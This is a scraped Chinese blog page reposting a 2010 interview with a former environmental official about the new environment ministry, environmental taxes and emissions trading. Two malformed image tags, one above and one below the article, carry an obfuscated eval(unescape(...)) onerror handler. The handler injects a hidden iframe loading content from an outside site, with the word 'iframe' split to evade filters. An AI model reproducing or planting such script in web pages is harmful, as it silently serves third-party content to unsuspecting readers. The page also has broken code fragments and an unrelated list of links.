环保重在社会集体责任感- 中资银行- brandisha - 和讯博客
环保重在社会集体责任感
[转贴 2010-06-11 08:48:05]
环保重在社会集体责任感
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
在新一轮国务院机构调整中,一个重大变动是国家环保总局升格为环境保护部,成为国务院组成部门。
全国政协委员、国家环保总局原副局长王玉庆接受本报采访时指出,通过此次改革,环保部门的协调能力应有较大提升;其编制、经费、执法条件等也应该会得到一定改善。
王玉庆认为,环保部成立后,很重要的一点就是明确其核心职能,同时在与其它部委有交叉的边界里,加强合作。
"但不要期望太高,毕竟环保不是单靠成立一个部就能解决所有问题。"王玉庆强调,获得相关部门的配合,取得地方政府、企业、群众的支持相当重要。他建议市以下环保机构实行垂直管理,以利管理和服务能力提升。
沟通协调能力提升
<21世纪>:国务院机构改革方案中提到,环保部职能之一就是"协调解决重大环境问题"。成立环保部是否更便于环保相关政策的出台?
王玉庆:环保总局升为环保部,直接作为国务院的组成部门,肯定有助于环境保护部门更多地参与国家的有关重大决策。对今后涉及国家环境优先领域的政策制定过程,协调其他部委机构和调解环境纠纷,都会有进步。
同时,对企业执法的责权将比较明确;在相关部门的配合上,也将更加有利。比如新建项目必须进行环境影响评价,如果经过相关部门的及时沟通,一些项目就很难贸然开工上马。
此外,部门自身的力量,如编制、经费、执法条件等,也应该会得到一定改善,毕竟过去环保局还是比较小的。改革也体现了国家对环保的重视程度不断加强。
<21世纪>:如何看待机构调整后,大家对环保部怀有的期望?
王玉庆:环保部成立后,对于中国环境问题的展望,大家不要估计过高。毕竟环境保护不仅在于国家对环境问题的执法及处罚力度,也在于地方政府对环境的重视程度和地方环保部门的执法能力,更在于企业及全体公民环保责任感的加强。
垂直管理不会速成
<21世纪>:对于环保部职能的确定划分,有怎样的建议?
王玉庆:环保的工作量其实相当大,"上管天、下管地、中间管空气",如果加上生态保护,范围就更大。这需要对环保部门的核心职能进行界定,才便于梳理与其它部门的关系。跟各部门之间的职能划分,要尽可能做到职责清楚,权责明确。
但即便部门间有了清晰的职能分工,也要合作,不可能经过一次机构改革,由一个部门就管理了所有相关事务。比如讨论多年的环境税,如果付诸实施,需要以财政和税务部门为主,环保部门相协调。
<21世纪>:有研究机构建议环保部门实行垂直管理。环保部成立后,该建议是否会得到推进?
王玉庆:据我所知,垂直管理不会很快提上议事日程。虽然垂直管理确实可以加大环保执法力度,但是环保工作有其特殊性。如果垂直管理到省一级,就体现不出地方政府对环保负责的精神,而这一点恰恰非常重要。
我建议市以下到县乡的环保部门可以进行尝试垂直管理。因为相对而言,我们的基层环保机构很不完善,部分地市级环保机构不健全,不少县没有独立的环保机构。
"费改税"须保证环保投入
<21世纪>:本次"两会"上代表委员对征收环境税的呼声很高。
王玉庆:关于环境税,环保总局、财政部、国税总局都进行了大量的研究。
从税收内容看,环境税涵盖范围很广,广义的环境税国外包括碳税、硫税等。狭义来说,也就是"费改税"问题,目前全国的排污收费将近150亿-160亿,将来可以改为税。
但"费改税"的同时必须保证环保治理必要的经费。现在的情况是,环保部门收费后交财政,再由财政部门拨付。如果全部作为税收拿走,前提是国家必须有充分的环保投入,保证各地特别是困难地区的基层环保投入。
目前看,环境税有两种方式,一种针对塑料袋、污染性电池等消费品;另一种是碳税、硫税等方式,后者较难实现,因为其前提是要有监测手段,并准确核定排污成本,单个部门难以独立承担。今后这方面的工作会推进,但我认为应该先从消费品推进。
<21世纪>:近几年环境经济政策密集出台,未来还有什么进展?
王玉庆:环境经济政策是我们正在做的一个方面。比如进行一些出口退税的调整,下一步需要做的是排污交易。目前,江苏、浙江等地正在试点,即通过治理减少了的排污量(指标)可以作为"产品",进行交易。
另外,还在财税方面进行了相关的支持。比如说脱硫项目,电厂脱硫后成本较高,实行同网电价,肯定不划算,所以对脱硫电价进行了一定程度提高,以保证其与其他电厂公平竞争。
对于二氧化硫排放的收费,过去我们是每公斤0.6元,远未达到治理成本;现在每公斤提高到1.2元。在治理污水方面,我们现在提倡企业化运营,提倡第三方公司进行专业的污水治理,并给予一定的税收优惠政策。另外,环保部门也开始和有关部门合作,将信贷、融资等和环保相挂钩。
应该说经济政策较之直接的行政手段,更加规范,也便于监管。但下一步还需要相关部门进一步配合,比如对财税科目进行相应的调整。我们现有的税收科目还比较僵硬,需要逐渐过渡。
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
郑重声明:资讯 【环保重在社会集体责任感- 中资银行- brandisha - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【
在线投诉
】,我们审核后将会尽快处理。
——
相关资讯
——
铜仁到东盟国家原产地证办理
2018/2/14
Q941f46电动衬氟球阀
2017/5/6
非物质文化认定办法有哪些内容及程序规范解读课件下载
2022/11/29
曲靖x型腿针刀矫正曲靖同德骨科医院
2015/10/13
推广驴肉类食品_山东肉驴养殖基地_新浪博客
2010/6/30
品牌橱柜招商,“网招”最见效! - feiwuba2000 - feiwuba2000 - 和讯博客
2010/1/24
U9{sjj}U8 All-in-One 管理软件进入用友时代_网络小小兵_百度空间
2010/1/27
2010-2015年中国压力试验机行业深度研究与预测分析报告
2010/4/6
杠杆百分表千分表
2010/4/10
刷卡失败却扣钱讨要损失费周折- xxx信息- detest - 和讯博客
2010/4/19
北京大兴区格力空调加氟维修指定服务中心-shunlida-搜狐博客
2010/4/27
这里是我长大的地方- liwublog1 - liwublog1 - 和讯博客
2010/4/28
招聘江西省四通路桥建设集团有限公司历届高校毕业生招聘公告毕业生 ...
2010/6/23
私人衣柜:王晓-都市周报-搜狐博客
2010/6/23
Brosay铂浠男装好吗
2014/11/26